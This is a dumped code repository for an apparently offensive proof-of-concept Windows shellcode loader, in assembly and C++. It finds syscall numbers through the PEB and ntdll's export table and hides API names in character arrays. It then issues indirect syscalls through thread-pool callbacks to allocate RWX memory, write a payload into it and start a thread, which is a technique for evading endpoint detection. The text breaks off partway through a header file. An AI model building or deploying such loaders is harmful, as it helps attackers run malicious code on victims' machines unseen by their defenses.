[
  {
    "path": "Assembly.asm",
    "content": "section .data\r\n\r\nsyscall_ret dq 0000000000000000h\r\nadd_rsp_ret dq 0000000000000000h\r\n\r\nsection .text\r\n\r\nglobal GetSSNByFuncAddress\r\nglobal Search_For_Syscall_Ret\r\nglobal Search_For_Add_Rsp_Ret\r\nglobal NtAllocateVirtualMemory_Callback\r\nglobal NtCreateThreadEx_Callback\r\nglobal NtWriteVirtualMemory_Callback\r\n\r\nNtAllocateVirtualMemory_Callback:\r\n    sub rsp, 0x78\r\n    mov r15, add_rsp_ret\r\n    mov r15, [r15]\r\n    push r15\r\n    mov rbx, rdx                ; backing up the struct as we are going to stomp rdx\r\n    mov rcx, [rbx]              ; HANDLE ProcessHandle\r\n    mov rdx, [rbx + 0x8]        ; PVOID *BaseAddress\r\n    mov r8, [rbx + 0x10]        ; ULONG_PTR ZeroBits\r\n    mov r9, [rbx + 0x18]        ; PSIZE_T RegionSize\r\n    mov r10, [rbx + 0x24]       ; ULONG Protect\r\n    mov [rsp+0x30], r10         ; stack pointer for 6th arg\r\n    mov r10, [rbx + 0x20]       ; ULONG AllocationType\r\n    mov [rsp+0x28], r10         ; stack pointer for 5th arg\r\n    mov r10, rcx\r\n    mov r15, syscall_ret\r\n    mov r15, [r15]\r\n    mov rax, [rbx + 0x28]\r\n    jmp r15\r\n\r\nNtWriteVirtualMemory_Callback:\r\n    sub rsp, 0x78\r\n    mov r15, add_rsp_ret\r\n    mov r15, [r15]\r\n    push r15\r\n    mov rbx, rdx                ; backing up the struct as we are going to stomp rdx\r\n    mov rcx, [rbx]              ; HANDLE ProcessHandle\r\n    mov rdx, [rbx + 0x8]        ; PVOID *address\r\n    mov r8, [rbx + 0x10]        ; PVOID *buffer\r\n    mov r9, [rbx + 0x18]        ; ULONG BytesToWrite\r\n    mov r10, [rbx + 0x20]       ; ULONG BytesWriten\r\n    mov [rsp+0x28], r10         ; stack pointer for 5th arg\r\n    mov r10, rcx\r\n    mov r15, syscall_ret\r\n    mov r15, [r15]\r\n    mov rax, [rbx + 0x28]\r\n    jmp r15\r\n\r\nNtCreateThreadEx_Callback:\r\n    sub rsp, 0x78\r\n    mov r15, add_rsp_ret\r\n    mov r15, [r15]\r\n    push r15\r\n    mov rbx, rdx                ; backing up the struct as we are going to stomp rdx\r\n    mov rcx, [rbx]              ; PHANDLE threadH\r\n    mov rdx, [rbx + 0x8]        ; ACCESS_MASK desiredAcess\r\n    mov r8, [rbx + 0x10]        ; PVOID objAttributes\r\n    mov r9, [rbx + 0x18]        ; HANDLE pHandle\r\n    mov r10, [rbx + 0x50]       ; PVOID lpBytesBuffer\r\n    mov [rsp+0x58], r10         ; stack pointer for 11th arg\r\n    mov r10, [rbx + 0x48]       ; SIZE_T sizeOfStackReserve\r\n    mov [rsp+0x50], r10         ; stack pointer for 10th arg\r\n    mov r10, [rbx + 0x40]       ; SIZE_T sizeOfStackCommit\r\n    mov [rsp+0x48], r10         ; stack pointer for 9th arg\r\n    mov r10, [rbx + 0x38]       ; SIZE_T stackZeroBits\r\n    mov [rsp+0x40], r10         ; stack pointer for 8th arg\r\n    mov r10, [rbx + 0x30]       ; ULONG flags\r\n    mov [rsp+0x38], r10         ; stack pointer for 7th arg\r\n    mov r10, [rbx + 0x28]       ; PVOID lpParameter\r\n    mov [rsp+0x30], r10         ; stack pointer for 6th arg\r\n    mov r10, [rbx + 0x20]       ; PVOID lpStartAddress\r\n    mov [rsp+0x28], r10         ; stack pointer for 5th arg\r\n    mov r10, rcx\r\n    mov r15, syscall_ret\r\n    mov r15, [r15]\r\n    mov rax, [rbx + 0x58]\r\n    jmp r15\r\n\r\nSearch_For_Syscall_Ret:\r\n    ; Search for Syscall + Ret\r\n    mov rdx, rax\r\n    add rdx, 1\r\n    xor rbx, rbx\r\n    xor rcx, rcx\r\n    mov rcx, 00FFFFFF0000000000h\r\n    mov rdi, [rdx]\r\n    and rdi, rcx\r\n    or rbx, rdi\r\n    shr rbx, 28h\r\n    cmp rbx, 1F0FC3h\r\n    jne Search_For_Syscall_Ret + 3h\r\n    mov r15, syscall_ret\r\n    mov [r15], rdx\r\n    xor r15, r15\r\n    ret\r\n\r\nSearch_For_Add_Rsp_Ret:\r\n    ; Search for add rsp, 78 + Ret\r\n    mov rdx, rax\r\n    add rdx, 1\r\n    xor rbx, rbx\r\n    xor rcx, rcx\r\n    mov rcx, 0000FFFFFFFFFFh\r\n    mov rdi, [rdx]\r\n    and rdi, rcx\r\n    or rbx, rdi\r\n    mov r14, 00C378C48348h\r\n    cmp rbx, r14\r\n    jne Search_For_Add_Rsp_Ret + 3h\r\n    mov r15, add_rsp_ret\r\n    mov [r15], rdx\r\n    ret\r\n\r\nGetSSNByFuncAddress:\r\n    mov ebx, 0xB8D18B4C\r\n    mov rdx, 0x0\r\n    mov rax, [rcx]\r\n    cmp eax, ebx\r\n    je GetSSNByFuncAddress + 0x1B\r\n    add rcx, 0x20\r\n    add rdx, 0x1\r\n    jmp GetSSNByFuncAddress + 0xA\r\n    mov rax, [rcx + 0x4]\r\n    sub rax, rdx\r\n    ret\r\n"
  },
  {
    "path": "Callbacks.h",
    "content": "#include <windows.h>\r\n\r\n/////////////////////\r\n//  CALLBACK ARGS  //\r\n/////////////////////\r\n\r\ntypedef struct _NTALLOCATEVIRTUALMEMORY_ARGS {\r\n    HANDLE hProcess;\r\n    PVOID* address;\r\n    SIZE_T zeroBits;\r\n    PSIZE_T size;\r\n    ULONG allocationType;\r\n    ULONG permissions;\r\n    DWORD ssn;\r\n} NTALLOCATEVIRTUALMEMORY_ARGS, *PNTALLOCATEVIRTUALMEMORY_ARGS;\r\n\r\ntypedef struct _NTWRITEVIRTUALMEMORY_ARGS {\r\n    HANDLE hProcess;\r\n    PVOID address;\r\n    PVOID buffer;\r\n    ULONG numberOfBytesToWrite;\r\n    PULONG numberOfBytesWritten;\r\n    DWORD ssn;\r\n} NTWRITEVIRTUALMEMORY_ARGS, * PNTWRITEVIRTUALMEMORY_ARGS;\r\n\r\ntypedef struct _NTCREATETHREADEX_ARGS {\r\n    PHANDLE threadHandle;        // Pointer to a variable that receives a handle to the new thread\r\n    ACCESS_MASK desiredAccess;   // Desired access to the thread\r\n    PVOID objectAttributes;      // Pointer to an OBJECT_ATTRIBUTES structure that specifies the object's attributes\r\n    HANDLE processHandle;        // Handle to the process in which the thread is to be created\r\n    PVOID lpStartAddress;        // Pointer to the application-defined function of type LPTHREAD_START_ROUTINE to be executed by the thread\r\n    PVOID lpParameter;           // Pointer to a variable to be passed to the thread\r\n    ULONG flags;                 // Flags that control the creation of the thread\r\n    SIZE_T stackZeroBits;        // A pointer to a variable that specifies the number of high-order address bits that must be zero in the stack pointer\r\n    SIZE_T sizeOfStackCommit;    // The size of the stack that must be committed at thread creation\r\n    SIZE_T sizeOfStackReserve;   // The size of the stack that must be reserved at thread creation\r\n    PVOID lpBytesBuffer;         // Pointer to a variable that receives any output data from the system\r\n    DWORD ssn;                   // SSN\r\n} NTCREATETHREADEX_ARGS, * PNTCREATETHREADEX_ARGS;\r\n\r\n//////////////////////////\r\n//  ASSEMBLY FUNCTIONS  //\r\n//////////////////////////\r\n\r\nextern \"C\" void Search_For_Syscall_Ret(\r\n    HANDLE ntdllHandle\r\n);\r\n\r\nextern \"C\" void Search_For_Add_Rsp_Ret(\r\n    HANDLE ntdllHandle\r\n);\r\n\r\nextern \"C\" void NtAllocateVirtualMemory_Callback(\r\n    PTP_CALLBACK_INSTANCE Instance,\r\n    PVOID Context,\r\n    PTP_WORK Work\r\n);\r\n\r\nextern \"C\" void NtWriteVirtualMemory_Callback(\r\n    PTP_CALLBACK_INSTANCE Instance,\r\n    PVOID Context,\r\n    PTP_WORK Work\r\n);\r\n\r\nextern \"C\" void NtCreateThreadEx_Callback(\r\n    PTP_CALLBACK_INSTANCE Instance,\r\n    PVOID Context,\r\n    PTP_WORK Work\r\n);\r\n"
  },
  {
    "path": "Compiler.bat",
    "content": "@ECHO OFF\r\n\r\nnasm -f win64 .\\Assembly.asm -o .\\Assembly.obj\r\ng++ -o poc.exe main.cpp Assembly.obj\r\ndel *.obj\r\n"
  },
  {
    "path": "LICENSE",
    "content": "MIT License\n\nCopyright (c) 2023 pard0p\n\nPermission is hereby granted, free of charge, to any person obtaining a copy\nof this software and associated documentation files (the \"Software\"), to deal\nin the Software without restriction, including without limitation the rights\nto use, copy, modify, merge, publish, distribute, sublicense, and/or sell\ncopies of the Software, and to permit persons to whom the Software is\nfurnished to do so, subject to the following conditions:\n\nThe above copyright notice and this permission notice shall be included in all\ncopies or substantial portions of the Software.\n\nTHE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\nIMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\nFITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\nAUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\nLIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\nOUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE\nSOFTWARE.\n"
  },
  {
    "path": "Main.cpp",
    "content": "#include \"Callbacks.h\"\r\n#include \"Shellcode.h\"\r\n#include \"PEB.h\"\r\n#include <iostream>\r\n\r\n//Definition of the Windows Thread Pooling functions\r\ntypedef NTSTATUS(NTAPI* TPALLOCWORK)(PTP_WORK* ptpWrk, PTP_WORK_CALLBACK pfnwkCallback, PVOID OptionalArg, PTP_CALLBACK_ENVIRON CallbackEnvironment);\r\ntypedef VOID(NTAPI* TPPOSTWORK)(PTP_WORK);\r\ntypedef VOID(NTAPI* TPRELEASEWORK)(PTP_WORK);\r\n\r\nFARPROC pTpAllocWork;\r\nFARPROC pTpPostWork;\r\nFARPROC pTpReleaseWork;\r\n\r\n/////////////////////////\r\n//  GENERAL FUNCTIONS  //\r\n/////////////////////////\r\n\r\nHMODULE hNtdll;\r\n\r\nextern \"C\" DWORD GetSSNByFuncAddress(HANDLE functionAddress);\r\n\r\nHMODULE GetNtdllHandle() {\r\n    #if defined(_WIN64)\r\n        PPEB Peb = (PPEB)__readgsqword(0x60);\r\n    #else\r\n        PPEB Peb = (PPEB)__readfsdword(0x30);\r\n    #endif\r\n\r\n    PLDR_MODULE pLoadModule;\r\n    pLoadModule = (PLDR_MODULE)((PBYTE)Peb->LoaderData->InMemoryOrderModuleList.Flink->Flink - 16);\r\n\r\n    return (HMODULE)pLoadModule->BaseAddress;\r\n}\r\n\r\nPIMAGE_EXPORT_DIRECTORY GetExportTableAddress(HMODULE ImageBase) {\r\n    uintptr_t baseAddress = reinterpret_cast<uintptr_t>(ImageBase);\r\n\r\n    uintptr_t dosHeaderAddr = baseAddress;\r\n    IMAGE_DOS_HEADER* dosHeader = reinterpret_cast<IMAGE_DOS_HEADER*>(dosHeaderAddr);\r\n\r\n    uintptr_t peHeaderAddr = baseAddress + dosHeader->e_lfanew;\r\n    IMAGE_NT_HEADERS* ntHeader = reinterpret_cast<IMAGE_NT_HEADERS*>(peHeaderAddr);\r\n\r\n    IMAGE_EXPORT_DIRECTORY* exportDir = reinterpret_cast<IMAGE_EXPORT_DIRECTORY*>(\r\n        baseAddress + ntHeader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress);\r\n\r\n    return (PIMAGE_EXPORT_DIRECTORY)exportDir;\r\n}\r\n\r\nHANDLE GetExportFunctionAddress(HMODULE moduleHandle, PIMAGE_EXPORT_DIRECTORY exportDir, const char* functionName) {\r\n    uintptr_t baseAddress = reinterpret_cast<uintptr_t>(moduleHandle);\r\n    DWORD* addressOfFunctions = reinterpret_cast<DWORD*>(baseAddress + exportDir->AddressOfFunctions);\r\n    DWORD numberOfFunctions = exportDir->NumberOfFunctions;\r\n\r\n    DWORD* addressOfNameOrdinals = reinterpret_cast<DWORD*>(baseAddress + exportDir->AddressOfNameOrdinals);\r\n    DWORD* addressOfNames = reinterpret_cast<DWORD*>(baseAddress + exportDir->AddressOfNames);\r\n\r\n    uintptr_t functionAddress = 0;\r\n\r\n    for (DWORD i = 0; i < numberOfFunctions; ++i) {\r\n        const char* currentFunctionName = nullptr;\r\n\r\n        if (i < exportDir->NumberOfNames) {\r\n            currentFunctionName = reinterpret_cast<const char*>(baseAddress + addressOfNames[i]);\r\n        }\r\n\r\n        functionAddress = baseAddress + addressOfFunctions[i+1];\r\n\r\n        if (currentFunctionName && strcmp(currentFunctionName, functionName) == 0) {\r\n            functionAddress = functionAddress;\r\n            return (HANDLE)functionAddress;\r\n        }\r\n    }\r\n\r\n    return (HANDLE)-1;\r\n}\r\n\r\nDWORD GetSSN(const char* functionName) {\r\n    //1. Get a HANDLE to the NTDLL.\r\n    HMODULE hNtdll = GetNtdllHandle();\r\n\r\n    //2. Get NTDLL's export table.\r\n    PIMAGE_EXPORT_DIRECTORY exportTable = GetExportTableAddress(hNtdll);\r\n\r\n    //3. Get the NTDLL's function address by its name.\r\n    HANDLE functionAddress = GetExportFunctionAddress(hNtdll, exportTable, functionName);\r\n\r\n    //4. Get the Syscall number.\r\n    DWORD SSN = GetSSNByFuncAddress(functionAddress);\r\n\r\n    return SSN;\r\n}\r\n\r\nVOID initVariables() {\r\n    unsigned char sNtdll[] = { 'n', 't', 'd', 'l', 'l', '.', 'd', 'l', 'l', 0x0 };\r\n    //hNtdll = GetModuleHandleA((LPCSTR)sNtdll);\r\n    hNtdll = GetNtdllHandle();\r\n\r\n    Search_For_Syscall_Ret(hNtdll);\r\n    Search_For_Add_Rsp_Ret(hNtdll);\r\n\r\n    unsigned char sTpAllocWork[] = { 'T', 'p', 'A', 'l', 'l', 'o', 'c', 'W', 'o', 'r', 'k' , 0x0 };\r\n    pTpAllocWork = GetProcAddress(hNtdll, (LPCSTR)sTpAllocWork);\r\n\r\n    unsigned char sTpPostWork[] = { 'T', 'p', 'P', 'o', 's', 't', 'W', 'o', 'r', 'k' , 0x0 };\r\n    pTpPostWork = GetProcAddress(hNtdll, (LPCSTR)sTpPostWork);\r\n\r\n    unsigned char sTpReleaseWork[] = { 'T', 'p', 'R', 'e', 'l', 'e', 'a', 's', 'e', 'W', 'o', 'r', 'k', 0x0 };\r\n    pTpReleaseWork = GetProcAddress(hNtdll, (LPCSTR)sTpReleaseWork);\r\n}\r\n\r\nVOID setCallback(PTP_WORK_CALLBACK callback, PVOID args) {\r\n    PTP_WORK WorkReturn = NULL;\r\n    ((TPALLOCWORK)pTpAllocWork)(&WorkReturn, (PTP_WORK_CALLBACK)callback, args, NULL);\r\n    ((TPPOSTWORK)pTpPostWork)(WorkReturn);\r\n    ((TPRELEASEWORK)pTpReleaseWork)(WorkReturn);\r\n    WaitForSingleObject((HANDLE)-1, 0x1000);\r\n}\r\n\r\n/////////////////////////\r\n//  NTDLL'S FUNCTIONS  //\r\n/////////////////////////\r\n\r\nPVOID NtAllocateVirtualMemory(HANDLE hProcess) {\r\n    PVOID allocatedAddress = NULL;\r\n    SIZE_T allocatedsize = 0x1000;\r\n\r\n    NTALLOCATEVIRTUALMEMORY_ARGS ntAllocateVirtualMemoryArgs = { 0 };\r\n    ntAllocateVirtualMemoryArgs.hProcess = hProcess;\r\n    ntAllocateVirtualMemoryArgs.address = &allocatedAddress;\r\n    ntAllocateVirtualMemoryArgs.zeroBits = 0;\r\n    ntAllocateVirtualMemoryArgs.size = &allocatedsize;\r\n    ntAllocateVirtualMemoryArgs.allocationType = (MEM_RESERVE | MEM_COMMIT);\r\n    ntAllocateVirtualMemoryArgs.permissions = PAGE_EXECUTE_READWRITE;\r\n    ntAllocateVirtualMemoryArgs.ssn = GetSSN(\"NtAllocateVirtualMemory\");\r\n\r\n    setCallback((PTP_WORK_CALLBACK)NtAllocateVirtualMemory_Callback, &ntAllocateVirtualMemoryArgs);\r\n\r\n    return allocatedAddress;\r\n}\r\n\r\nVOID NtWriteVirtualMemory(HANDLE hProcess, PVOID allocatedAddress, PULONG bytesWritten) {\r\n    NTWRITEVIRTUALMEMORY_ARGS ntWriteVirtualMemoryArgs = { 0 };\r\n    ntWriteVirtualMemoryArgs.hProcess = hProcess;\r\n    ntWriteVirtualMemoryArgs.address = allocatedAddress;\r\n    ntWriteVirtualMemoryArgs.buffer = code;\r\n    ntWriteVirtualMemoryArgs.numberOfBytesToWrite = sizeof(code);\r\n    ntWriteVirtualMemoryArgs.numberOfBytesWritten = bytesWritten;\r\n    ntWriteVirtualMemoryArgs.ssn = GetSSN(\"NtWriteVirtualMemory\");\r\n\r\n    //std::cout << \"Test 0x\" << std::hex << ntWriteVirtualMemoryArgs.ssn << std::endl;\r\n\r\n    setCallback((PTP_WORK_CALLBACK)NtWriteVirtualMemory_Callback, &ntWriteVirtualMemoryArgs);\r\n}\r\n\r\nVOID NtCreateThreadEx(HANDLE hProcess, HANDLE hThread, PVOID allocatedAddress) {\r\n    NTCREATETHREADEX_ARGS ntCreateThreadExArgs = { 0 };\r\n    ntCreateThreadExArgs.threadHandle = &hThread;\r\n    ntCreateThreadExArgs.desiredAccess = GENERIC_EXECUTE;\r\n    ntCreateThreadExArgs.objectAttributes = NULL;\r\n    ntCreateThreadExArgs.processHandle = hProcess;\r\n    ntCreateThreadExArgs.lpStartAddress = allocatedAddress;\r\n    ntCreateThreadExArgs.lpParameter = NULL;\r\n    ntCreateThreadExArgs.flags = FALSE;\r\n    ntCreateThreadExArgs.stackZeroBits = 0;\r\n    ntCreateThreadExArgs.sizeOfStackCommit = 0;\r\n    ntCreateThreadExArgs.sizeOfStackReserve = 0;\r\n    ntCreateThreadExArgs.lpBytesBuffer = NULL;\r\n    ntCreateThreadExArgs.ssn = GetSSN(\"NtCreateThreadEx\");\r\n\r\n    setCallback((PTP_WORK_CALLBACK)NtCreateThreadEx_Callback, &ntCreateThreadExArgs);\r\n}\r\n\r\n////////////\r\n//  MAIN  //\r\n////////////\r\n\r\nint main() {\r\n    initVariables();\r\n\r\n    //HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, <PID>);\r\n    HANDLE hProcess = (HANDLE)-1;\r\n\r\n    std::cout << \"[*] Executing NtAllocateVirtualMemory...\" << std::endl;\r\n    PVOID allocatedAddress = NtAllocateVirtualMemory(hProcess);\r\n    std::cout << \"\\t[+] Allocated at: 0x\" << allocatedAddress << std::endl;\r\n\r\n    ULONG writenSize = 0;\r\n    std::cout << \"[*] Executing NtWriteVirtualMemory...\" << std::endl;\r\n    NtWriteVirtualMemory(hProcess, allocatedAddress, &writenSize);\r\n\r\n    HANDLE hThread = NULL;\r\n    std::cout << \"[*] Executing NtCreateThreadEx...\" << std::endl;\r\n    NtCreateThreadEx(hProcess, hThread, allocatedAddress);\r\n\r\n    //WaitForSingleObject(hThread, 0x1000);\r\n\r\n    return 0;\r\n}\r\n"
  },
  {
    "path": "PEB.h",
    "content": "#pragma once\r\n#include <Windows.h>\r\n\r\n/*--------------------------------------------------------------------\r\n  STRUCTURES\r\n--------------------------------------------------------------------*/\r\ntypedef struct _LSA_UNICODE_STRING {\r\n\tUSHORT Length;\r\n\tUSHORT MaximumLength;\r\n\tPWSTR  Buffer;\r\n} LSA_UNICODE_STRING, * PLSA_UNICODE_STRING, UNICODE_STRING, * PUNICODE_STRING, * PUNICODE_STR;\r\n\r\ntypedef struct _LDR_MODULE {\r\n\tLIST_ENTRY              InLoadOrderModuleList;\r\n\tLIST_ENTRY              InMemoryOrderModuleList;\r\n\tLIST_ENTRY              InInitializationOrderModuleList;\r\n\tPVOID                   BaseAddress;\r\n\tPVOID                   EntryPoint;\r\n\tULONG                   SizeOfImage;\r\n\tUNICODE_STRING          FullDllName;\r\n\tUNICODE_STRING          BaseDllName;\r\n\tULONG                   Flags;\r\n\tSHORT                   LoadCount;\r\n\tSHORT                   TlsIndex;\r\n\tLIST_ENTRY              HashTableEntry;\r\n\tULONG                   TimeDateStamp;\r\n} LDR_MODULE, * PLDR_MODULE;\r\n\r\ntypedef struct _PEB_LDR_DATA {\r\n\tULONG                   Length;\r\n\tULONG                   Initialized;\r\n\tPVOID                   SsHandle;\r\n\tLIST_ENTRY              InLoadOrderModuleList;\r\n\tLIST_ENTRY              InMemoryOrderModuleList;\r\n\tLIST_ENTRY              InInitializationOrderModuleList;\r\n} PEB_LDR_DATA, * PPEB_LDR_DATA;\r\n\r\ntypedef struct _PEB {\r\n\tBOOLEAN                 InheritedAddressSpace;\r\n\tBOOLEAN                 ReadImageFileExecOptions;\r\n\tBOOLEAN                 BeingDebugged;\r\n\tBOOLEAN                 Spare;\r\n\tHANDLE                  Mutant;\r\n\tPVOID                   ImageBase;\r\n\tPPEB_LDR_DATA           LoaderData;\r\n\tPVOID                   ProcessParameters;\r\n\tPVOID                   SubSystemData;\r\n\tPVOID                   ProcessHeap;\r\n\tPVOID                   FastPebLock;\r\n\tPVOID                   FastPebLockRoutine;\r\n\tPVOID                   FastPebUnlockRoutine;\r\n\tULONG                   EnvironmentUpdateCount;\r\n\tPVOID* KernelCallbackTable;\r\n\tPVOID                   EventLogSection;\r\n\tPVOID                   EventLog;\r\n\tPVOID                   FreeList;\r\n\tULONG                   TlsExpansionCounter;\r\n\tPVOID                   TlsBitmap;\r\n\tULONG                   TlsBitmapBits[0x2];\r\n\tPVOID                   ReadOnlySharedMemoryBase;\r\n\tPVOID                   ReadOnlySharedMemoryHeap;\r\n\tPVOID* ReadOnlyStaticServerData;\r\n\tPVOID                   AnsiCodePageData;\r\n\tPVOID                   OemCodePageData;\r\n\tPVOID                   UnicodeCaseTableData;\r\n\tULONG                   NumberOfProcessors;\r\n\tULONG                   NtGlobalFlag;\r\n\tBYTE                    Spare2[0x4];\r\n\tLARGE_INTEGER           CriticalSectionTimeout;\r\n\tULONG                   HeapSegmentReserve;\r\n\tULONG                   HeapSegmentCommit;\r\n\tULONG                   HeapDeCommitTotalFreeThreshold;\r\n\tULONG                   HeapDeCommitFreeBlockThreshold;\r\n\tULONG                   NumberOfHeaps;\r\n\tULONG                   MaximumNumberOfHeaps;\r\n\tPVOID** ProcessHeaps;\r\n\tPVOID                   GdiSharedHandleTable;\r\n\tPVOID                   ProcessStarterHelper;\r\n\tPVOID                   GdiDCAttributeList;\r\n\tPVOID                   LoaderLock;\r\n\tULONG                   OSMajorVersion;\r\n\tULONG                   OSMinorVersion;\r\n\tULONG                   OSBuildNumber;\r\n\tULONG                   OSPlatformId;\r\n\tULONG                   ImageSubSystem;\r\n\tULONG                   ImageSubSystemMajorVersion;\r\n\tULONG                   ImageSubSystemMinorVersion;\r\n\tULONG                   GdiHandleBuffer[0x22];\r\n\tULONG                   PostProcessInitRoutine;\r\n\tULONG                   TlsExpansionBitmap;\r\n\tBYTE                    TlsExpansionBitmapBits[0x80];\r\n\tULONG                   SessionId;\r\n} PEB, * PPEB;\r\n\r\ntypedef struct __CLIENT_ID {\r\n\tHANDLE UniqueProcess;\r\n\tHANDLE UniqueThread;\r\n} CLIENT_ID, * PCLIENT_ID;\r\n\r\ntypedef struct _TEB_ACTIVE_FRAME_CONTEXT {\r\n\tULONG Flags;\r\n\tPCHAR FrameName;\r\n} TEB_ACTIVE_FRAME_CONTEXT, * PTEB_ACTIVE_FRAME_CONTEXT;\r\n\r\ntypedef struct _TEB_ACTIVE_FRAME {\r\n\tULONG Flags;\r\n\tstruct _TEB_ACTIVE_FRAME* Previous;\r\n\tPTEB_ACTIVE_FRAME_CONTEXT Context;\r\n} TEB_ACTIVE_FRAME, * PTEB_ACTIVE_FRAME;\r\n\r\ntypedef struct _GDI_TEB_BATCH {\r\n\tULONG Offset;\r\n\tULONG HDC;\r\n\tULONG Buffer[310];\r\n} GDI_TEB_BATCH, * PGDI_TEB_BATCH;\r\n\r\ntypedef PVOID PACTIVATION_CONTEXT;\r\n\r\ntypedef struct _RTL_ACTIVATION_CONTEXT_STACK_FRAME {\r\n\tstruct __RTL_ACTIVATION_CONTEXT_STACK_FRAME* Previous;\r\n\tPACTIVATION_CONTEXT ActivationContext;\r\n\tULONG Flags;\r\n} RTL_ACTIVATION_CONTEXT_STACK_FRAME, * PRTL_ACTIVATION_CONTEXT_STACK_FRAME;\r\n\r\ntypedef struct _ACTIVATION_CONTEXT_STACK {\r\n\tPRTL_ACTIVATION_CONTEXT_STACK_FRAME ActiveFrame;\r\n\tLIST_ENTRY FrameListCache;\r\n\tULONG Flags;\r\n\tULONG NextCookieSequenceNumber;\r\n\tULONG StackId;\r\n} ACTIVATION_CONTEXT_STACK, * PACTIVATION_CONTEXT_STACK;\r\n\r\ntypedef struct _TEB {\r\n\tNT_TIB\t\t\t\tNtTib;\r\n\tPVOID\t\t\t\tEnvironmentPointer;\r\n\tCLIENT_ID\t\t\tClientId;\r\n\tPVOID\t\t\t\tActiveRpcHandle;\r\n\tPVOID\t\t\t\tThreadLocalStoragePointer;\r\n\tPPEB\t\t\t\tProcessEnvironmentBlock;\r\n\tULONG               LastErrorValue;\r\n\tULONG               CountOfOwnedCriticalSections;\r\n\tPVOID\t\t\t\tCsrClientThread;\r\n\tPVOID\t\t\t\tWin32ThreadInfo;\r\n\tULONG               User32Reserved[26];\r\n\tULONG               UserReserved[5];\r\n\tPVOID\t\t\t\tWOW32Reserved;\r\n\tLCID                CurrentLocale;\r\n\tULONG               FpSoftwareStatusRegister;\r\n\tPVOID\t\t\t\tSystemReserved1[54];\r\n\tLONG                ExceptionCode;\r\n#if (NTDDI_VERSION >= NTDDI_LONGHORN)\r\n\tPACTIVATION_CONTEXT_STACK* ActivationContextStackPointer;\r\n\tUCHAR                  SpareBytes1[0x30 - 3 * sizeof(PVOID)];\r\n\tULONG                  TxFsContext;\r\n#elif (NTDDI_VERSION >= NTDDI_WS03)\r\n\tPACTIVATION_CONTEXT_STACK ActivationContextStackPointer;\r\n\tUCHAR                  SpareBytes1[0x34 - 3 * sizeof(PVOID)];\r\n#else\r\n\tACTIVATION_CONTEXT_STACK ActivationContextStack;\r\n\tUCHAR                  SpareBytes1[24];\r\n#endif\r\n\tGDI_TEB_BATCH\t\t\tGdiTebBatch;\r\n\tCLIENT_ID\t\t\t\tRealClientId;\r\n\tPVOID\t\t\t\t\tGdiCachedProcessHandle;\r\n\tULONG                   GdiClientPID;\r\n\tULONG                   GdiClientTID;\r\n\tPVOID\t\t\t\t\tGdiThreadLocalInfo;\r\n\tPSIZE_T\t\t\t\t\tWin32ClientInfo[62];\r\n\tPVOID\t\t\t\t\tglDispatchTable[233];\r\n\tPSIZE_T\t\t\t\t\tglReserved1[29];\r\n\tPVOID\t\t\t\t\tglReserved2;\r\n\tPVOID\t\t\t\t\tglSectionInfo;\r\n\tPVOID\t\t\t\t\tglSection;\r\n\tPVOID\t\t\t\t\tglTable;\r\n\tPVOID\t\t\t\t\tglCurrentRC;\r\n\tPVOID\t\t\t\t\tglContext;\r\n\tNTSTATUS                LastStatusValue;\r\n\tUNICODE_STRING\t\t\tStaticUnicodeString;\r\n\tWCHAR                   StaticUnicodeBuffer[261];\r\n\tPVOID\t\t\t\t\tDeallocationStack;\r\n\tPVOID\t\t\t\t\tTlsSlots[64];\r\n\tLIST_ENTRY\t\t\t\tTlsLinks;\r\n\tPVOID\t\t\t\t\tVdm;\r\n\tPVOID\t\t\t\t\tReservedForNtRpc;\r\n\tPVOID\t\t\t\t\tDbgSsReserved[2];\r\n#if (NTDDI_VERSION >= NTDDI_WS03)\r\n\tULONG                   HardErrorMode;\r\n#else\r\n\tULONG                  HardErrorsAreDisabled;\r\n#endif\r\n#if (NTDDI_VERSION >= NTDDI_LONGHORN)\r\n\tPVOID\t\t\t\t\tInstrumentation[13 - sizeof(GUID) / sizeof(PVOID)];\r\n\tGUID                    ActivityId;\r\n\tPVOID\t\t\t\t\tSubProcessTag;\r\n\tPVOID\t\t\t\t\tEtwLocalData;\r\n\tPVOID\t\t\t\t\tEtwTraceData;\r\n#elif (NTDDI_VERSION >= NTDDI_WS03)\r\n\tPVOID\t\t\t\t\tInstrumentation[14];\r\n\tPVOID\t\t\t\t\tSubProcessTag;\r\n\tPVOID\t\t\t\t\tEtwLocalData;\r\n#else\r\n\tPVOID\t\t\t\t\tInstrumentation[16];\r\n#endif\r\n\tPVOID\t\t\t\t\tWinSockData;\r\n\tULONG\t\t\t\t\tGdiBatchCount;\r\n#if (NTDDI_VERSION >= NTDDI_LONGHORN)\r\n\tBOOLEAN                SpareBool0;\r\n\tBOOLEAN                SpareBool1;\r\n\tBOOLEAN                SpareBool2;\r\n#else\r\n\tBOOLEAN                InDbgPrint;\r\n\tBOOLEAN                FreeStackOnTermination;\r\n\tBOOLEAN                HasFiberData;\r\n#endif\r\n\tUCHAR                  IdealProcessor;\r\n#if (NTDDI_VERSION >= NTDDI_WS03)\r\n\tULONG                  GuaranteedStackBytes;\r\n#else\r\n\tULONG                  Spare3;\r\n#endif\r\n\tPVOID\t\t\t\t   ReservedForPerf;\r\n\tPVOID\t\t\t\t   ReservedForOle;\r\n\tULONG                  WaitingOnLoaderLock;\r\n#if (NTDDI_VERSION >= NTDDI_LONGHORN)\r\n\tPVOID\t\t\t\t   SavedPriorityState;\r\n\tULONG_PTR\t\t\t   SoftPatchPtr1;\r\n\tULONG_PTR\t\t\t   ThreadPoolData;\r\n#elif (NTDDI_VERSION >= NTDDI_WS03)\r\n\tULONG_PTR\t\t\t   SparePointer1;\r\n\tULONG_PTR              SoftPatchPtr1;\r\n\tULONG_PTR              SoftPatchPtr2;\r\n#else\r\n\tWx86ThreadState        Wx86Thread;\r\n#endif\r\n\tPVOID* TlsExpansionSlots;\r\n#if defined(_WIN64) && 